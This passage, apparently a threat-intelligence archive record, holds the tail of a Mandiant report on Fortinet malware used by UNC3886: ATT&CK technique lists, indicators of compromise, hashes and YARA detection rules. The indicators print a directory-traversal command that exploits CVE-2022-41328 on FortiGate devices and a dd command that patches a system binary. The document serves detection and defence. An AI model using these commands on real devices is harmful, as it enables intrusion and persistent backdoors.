T1078:        Valid Accounts\r\n   T1140:        Deobfuscate/Decode Files or Information\r\n   T1202:        Indirect Command Execution\r\n   T1218.011:    Rundll32\r\n   T1222:        File and Directory Permissions Modification\r\n   T1497:        Virtualization/Sandbox Evasion\r\n   T1497.001:    System Checks\r\n   T1620:        Reflective Code Loading\r\nCredential Access\r\n   T1552:        Unsecured Credentials\r\n   T1555.005:    Password Managers\r\n Discovery\r\n   T1016:        System Network Configuration Discovery\r\n   T1033:        System Owner/User Discovery\r\n   T1057:        Process Discovery\r\n   T1082:        System Information Discovery\r\n   T1083:        File and Directory Discovery\r\n   T1087:        Account Discovery\r\n   T1518:        Software Discovery\r\n Collection\r\n   T1074.001:    Local Data Staging\r\n   T1560:        Archive Collected Data\r\n   T1560.001:    Archive via Utility\r\nExecution\r\n   T1059:        Command and Scripting Interpreter\r\n   T1059.001:    PowerShell\r\n   T1059.003:    Windows Command Shell\r\n   T1059.004:    Unix Shell\r\n   T1059.006:    Python\r\n   T1129:        Shared Modules\r\nCommand and Control\r\n   T1095:        Non-Application Layer Protocol\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 16 of 21\n\nT1102.001:    Dead Drop Resolver\r\n   T1105:        Ingress Tool Transfer\r\n   T1571:        Non-Standard Port\r\n   T1573.001:    Symmetric Cryptography\r\nLateral Movement\r\n   T1021.004:    SSH\r\nIndicators of Compromise\r\nType Values Description\r\nFortiGate\r\nCommand\r\nexecute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci\r\n\u003cTA FTP Server\u003e\r\nAttempted execution of this comman\r\nsimilar commands containing directo\r\ntraversal are indicative of attempted\r\nexploitation of CVE-2022-41328 to\r\nupload a file to a normally restricted\r\ndirectory\r\nFortiGate\r\nCommand\r\nexecute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci\r\n\u003cTA TFTP Server\u003e\r\nAttempted execution of this comman\r\nsimilar commands containing directo\r\ntraversal are indicative of attempted\r\nexploitation of CVE-2022-41328 to\r\nupload a file to a normally restricted\r\ndirectory\r\nFilename /bin/fgfm\r\nCASTLETAP Sample found on a\r\nFortiGate device\r\nSymlinked\r\nFile\r\n/bin/lspci -\u003e /bin/sysctl\r\nlspci should be a standalone binary\r\nwithin FortiGate devices. A symlink\r\nsuggests that a modification was mad\r\nthe file system\r\nURI /p/util/show_device_info\r\nAn API call which created by the thre\r\nactor which acted as a persistent\r\nbackdoor on FortiManager devices\r\nURI /p/utils/fortigate_syslog_send\r\nAn API call which created by the thre\r\nactor which acted as a persistent\r\nbackdoor on FortiAnalyzer devices\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 17 of 21\n\nPython\r\nFunction\r\nget_device_info\r\nA malicious python function added to\r\n/usr/local/lib/python3.8/proj/util/view\r\non FortiAnalyzer and FortiManager\r\ndevices which provided threat actors\r\na persistent backdoor\r\nFilename /bin/support\r\nThreat actor script which launches\r\n/bin/auth (TABLEFLIP) and /bin/klog\r\n(REPTILE) and deletes the two files\r\nalong with /bin/support from disk\r\nFilename /bin/auth\r\nTABLEFLIP Sample - A passive utili\r\nsetup traffic redirection from a specif\r\naddress destined to the FortiManager\r\nTCP541 to another specified port.\r\nFilename /bin/klogd\r\nREPTILE - A backdoor utility that lis\r\nfor a specialized packet for activation\r\nConfig\r\nChange\r\nprintf \"t\" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866\r\n2\u003e/dev/null\r\nConfig change made to\r\n/etc/init.d/localnet on FortiAnalyzer a\r\nFortiManager devices to revert a bina\r\nafter it was modified to bypass digita\r\nsignature verification of system files\r\nMD5 9ce2459168cf4b5af494776a70e0feda\r\nThreat actor script which launches\r\n/bin/auth (TABLEFLIP) and /bin/klog\r\n(REPTILE) and deletes the two files\r\nalong with /bin/support from disk\r\nMD5 b6e92149efaf78e9ce7552297505b9d5 TABLEFLIP sample\r\nMD5 53a69adac914808eced2bf8155a7512d REPTILE variant  sample\r\nMD5 a388ebaef45add5da503e4bf2b9da546 Modified /bin/smit\r\nMD5 88711ebc99e1390f1ce2f42a6de0654d Localnet sample\r\nMD5 e2d2884869f48f40b32fb27cc3bdefff CASTLETAP sample\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 18 of 21\n\nMD5 53a69adac914808eced2bf8155a7512d REPTILE variant sample\r\nMD5 64bdf7a631bc76b01b985f1d46b35ea6 THINCRUST sample\r\nMD5 a86a8fe875a89816e5808588154a067e THINCRUST sample\r\nMD5 3e43511c4f7f551290292394c4e21de7 Related to THINCRUST\r\nSHA1 86f3623b3fb8d5303b6c9d8295292a5c2ceb2889 Localnet sample\r\nSHA1 75c092098e3409d366a46fdde6a92ff97d29cee1 Smit sample\r\nSHA1 9dca7f1af5752bb007e5cc55acd2511f03049ee5 TABLEFLIP sample\r\nSHA1 8c40fc87fa3b25a559585b10a8ca11c81fb09f75 CASTLETAP sample\r\nSHA1 3109b890901499f7ebb90f8870a7d1617d27e7c9 REPTILE variant sample\r\nSHA1 b8bdaa1bd204a6c710875b0c4265655d1fd37d52 /bin/support sample\r\nSHA1 1a077212735617a665a6b631e34a6aedcbc41713 THINCRUST sample\r\nSHA1 d5f8436e9815358e33b8243abda76c9b398943e2 THINCRUST sample\r\nSHA1 8ef5159944d048fe84e51a818c9b11ebcfa98517 Related to THINCRUST\r\nSHA256 245e4646e5d984c2da4cfe223bb2fae679441bcf42b254fc193ae97dc32af7ad Localnet sample\r\nSHA256 9fb09fe6db61fbdd19ac9c368e2f64fb9606119649830762fa467719c480ed44 Smit sample\r\nSHA256 18afbad17dee0e4330a85b782e8e580c6125d8a7127cda69ad0e2728d505a6f5 TABLEFLIP sample\r\nSHA256 a00fed53b1ece4610c8b52934c20af3667d455f092a77f8d9bc46fdb9047e41a CASTLETAP sample\r\nSHA256 eb6af99148f0ce5b58e414162ff2b7567b4cf08953862a088996365ff306014b REPTILE variant sample\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 19 of 21\n\nSHA256 33c22b2db8c0948c67204485972d2eb856e13dca16132371337fc3534e3df16d /bin/support sample\r\nSHA256 abefe121e5c895bf63be80152ccbe2d7bb5ad985aa3ab989bcb7c0804b90d004 THINCRUST sample\r\nSHA256 2266667af7532a32b9c21c330a9fe56356ca66610e39654804a7262f2af61017 THINCRUST sample\r\nSHA256 4e4c5e5ca588bd84b67a37b654ec522768fa83e535ff795a5c196da8f8b9737d Related to THINCRUST\r\nYARA Rules\r\nrule M_Hunting_Util_TABLEFLIP_1\r\n{\r\nmeta:\r\n author = \"Mandiant\"\r\n description = \"Looks for TABLEFLIP Binary\"\r\n md5 = \"b6e92149efaf78e9ce7552297505b9d5\"\r\nstrings:\r\n $z1 = \"%1$s.*%2$d\" fullword\r\n $x1 = \"/proc/self/exe\" fullword\r\n $x2 = \"socket\" fullword\r\n $x3 = \"127.\" fullword\r\n $x4 = \"iptables -t nat\" fullword\r\n $s1 = \"iptables -t nat -S PREROUTING | grep %1$s | grep %2$d || iptables -t nat -A PREROUTING -p tcp -s %1$s --dport 5\r\n $s2 = \"iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '%1$s.*%2$d' | awk -F: '{print $1}'| xargs iptables -t\r\ncondition:\r\n uint32(0) == 0x464c457f and filesize \u003c 5MB and @x1 \u003c= @x2 and @x2 \u003c= @x3 and @x3 \u003c= @x4 and ( $z1 or any of ($s*) )\r\n}\r\nrule M_Hunting_Backdoor_REPTILE_1\r\n{\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"Looks for ELF backdoor REPTILE variant\"\r\n md5 = \"53a69adac914808eced2bf8155a7512d\"\r\n strings:\r\n $x1 = \";7(Zu9YTsA7qQ#vw\"\r\n $x2 = \"mznCvqSBo\"\r\n $x3 = \"hpaVAj2FJ\"\r\n $x4 = \"%d.%d.%d.%d\"\r\n $x5 = \"HISTFILE=\"\r\n $x6 = \"TERM\"\r\n $x7 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D } // taken from FE_Hunting_Linux_TINYSHELL_2_FEBeta.yara\r\n condition:\r\n uint32(0) == 0x464c457f and all of them and #x4 \u003e= 3 and #x6 == 1 and filesize \u003c 15MB\r\n}\r\nrule M_Hunting_Backdoor_CASTLETAP_1\r\n{\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 20 of 21\n\nmeta:\r\n author = \"Mandiant\"\r\n description = \"Finds strings observed in CASTLETOP ELF binary\"\r\n md5 = \"e2d2884869f48f40b32fb27cc3bdefff\"\r\n strings:\r\n $x1 = \";7(Zu9YTsA7qQ#vw\"\r\n $x2 = \"qWWlC0v6yYh2yxu\"\r\n $x3 = \"1qaz@WSXa\"\r\n $x4 = \"hpaVAj2FJ\"\r\n $x5 = \"%d.%d.%d.%d\"\r\n $x6 = \"HISTFILE=\"\r\n $x7 = \"TERM\"\r\n $x8 = \"/tmp/busybox\"\r\n $x9 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D }\r\n condition:\r\n uint16(18) == 183 and\r\n uint16(16) == 0x02 and\r\n uint32(0) == 0x464c457f and 1 of ($x*) and #x5 \u003e= 3 and #x7 == 1 and filesize \u003c 15MB\r\n}\r\nrule M_Hunting_Backdoor_CASTLETAP_2\r\n{\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"Finds byte pattern related to XOR decode function\"\r\n md5 = \"e2d2884869f48f40b32fb27cc3bdefff\"\r\n strings:\r\n $x1 = { ?? 14 40 B9 ?? B0 1D 11 ?? 10 40 B9 [5] 0C 40 B9 [5] 1F 80 52 [9] 1F 00 12 }\r\n condition:\r\n uint16(18) == 183 and\r\n uint16(16) == 0x02 and\r\n uint32(0) == 0x464c457f and any of them and filesize \u003c 15MB\r\n}\r\nPosted in\r\nThreat Intelligence\r\nSecurity \u0026 Identity\r\nSource: https://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/\r\nPage 21 of 21",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/"
	],
	"report_names": [
		"fortinet-malware-ecosystem"
	],
	"threat_actors": [
		{
			"id": "9df8987a-27fc-45c5-83b0-20dceb8288af",
			"created_at": "2025-10-29T02:00:51.836932Z",
			"updated_at": "2026-04-10T02:00:05.253487Z",
			"deleted_at": null,
			"main_name": "UNC3886",
			"aliases": [
				"UNC3886"
			],
			"source_name": "MITRE:UNC3886",
			"tools": [
				"MOPSLED",
				"VIRTUALPIE",
				"CASTLETAP",
				"THINCRUST",
				"VIRTUALPITA",
				"RIFLESPINE"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "a08d93aa-41e4-4eca-a0fd-002d051a2c2d",
			"created_at": "2024-08-28T02:02:09.711951Z",
			"updated_at": "2026-04-10T02:00:04.957678Z",
			"deleted_at": null,
			"main_name": "UNC3886",
			"aliases": [
				"Fire Ant"
			],
			"source_name": "ETDA:UNC3886",
			"tools": [
				"BOLDMOVE",
				"CASTLETAP",
				"LOOKOVER",
				"MOPSLED",
				"RIFLESPINE",
				"TABLEFLIP",
				"THINCRUST",
				"Tiny SHell",
				"VIRTUALGATE",
				"VIRTUALPIE",
				"VIRTUALPITA",
				"VIRTUALSHINE",
				"tsh"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "1c91699d-77d3-4ad7-9857-9f9196ac1e37",
			"created_at": "2023-11-04T02:00:07.663664Z",
			"updated_at": "2026-04-10T02:00:03.385989Z",
			"deleted_at": null,
			"main_name": "UNC3886",
			"aliases": [],
			"source_name": "MISPGALAXY:UNC3886",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775433990,
	"ts_updated_at": 1775826741,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a4f1a7fc8f90b816d394bae7c7a45a26a29ef141.pdf",
		"text": "https://archive.orkl.eu/a4f1a7fc8f90b816d394bae7c7a45a26a29ef141.txt",
		"img": "https://archive.orkl.eu/a4f1a7fc8f90b816d394bae7c7a45a26a29ef141.jpg"
	}
}